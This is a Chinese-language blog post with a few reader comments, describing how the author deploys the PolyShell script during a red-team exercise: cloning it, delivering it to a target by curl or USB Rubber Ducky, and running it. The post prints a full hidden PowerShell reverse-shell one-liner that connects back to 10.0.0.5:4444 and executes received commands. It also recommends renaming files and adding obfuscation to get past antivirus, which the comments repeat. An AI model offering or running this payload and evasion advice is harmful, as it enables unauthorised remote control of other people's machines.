渗透测试快速部署PolyShell?

3 人参与

说到渗透测试,我最近在一次红队演练里临时想玩点新鲜的——PolyShell。记得那天凌晨两点,咖啡还在冒蒸气,我正盯着目标机器的日志文件,突然想到如果能一次性兼容 Bash、Batch 甚至 PowerShell,岂不是省了不少切换脚本的功夫?于是我把 PolyShell 拉到本地,准备来一场“快速部署”。

渗透测试快速部署PolyShell?

三步搞定部署

  • 克隆仓库:git clone https://github.com/llamasoft/polyshell.git,顺手把 polyshell.sh 复制一份改名 p.sh,防止误删。
  • 给目标机器投递:如果能跑 USB Rubber Ducky,直接写进 payload;不行的话,用 curl 把脚本拉下来,记得加上 chmod +x
  • 启动循环:在目标终端敲 ./p.sh,看到 “PolyShell ready” 的提示,说明已进入读取循环,后续所有命令都能直接塞进去。

“Ctrl‑C 退出循环,一键回到干净的 shell”,这句话在我半夜的实验室里听起来像是魔法咒语。

# 示例:一次性打开 PowerShell 反弹
./p.sh && powershell -nop -w hidden -c "$client = New-Object System.Net.Sockets.TCPClient('10.0.0.5',4444);$stream = $client.GetStream();[byte[]]$buf = 0..65535|%{0};while(($i = $stream.Read($buf,0,$buf.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($buf,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}"

实际跑起来的时候,我发现有两点坑:一是某些老旧的 Windows CMD 会把循环结束的换行当成新命令,导致脚本卡死;二是如果目标机器的防病毒已经把 polyshell.sh 当成可疑文件,直接拦截。解决办法也很土——换个文件名、加点混淆,或者直接把脚本写进 .bat 再执行。

总的来说,PolyShell 真是渗透测试里的一把瑞士军刀,省时省力。下次再遇到语言不统一的目标,我已经把这套流程写进我的笔记本,随时 ready。

参与讨论

3 条评论
  • 小果糖

    这玩意儿真的挺省事的👍。

    回复
  • 血月预言

    老早踩过同样的坑,文件名改了才行。

    回复
  • 梦魇使者

    防毒直接拦住,换个名字试试?

    回复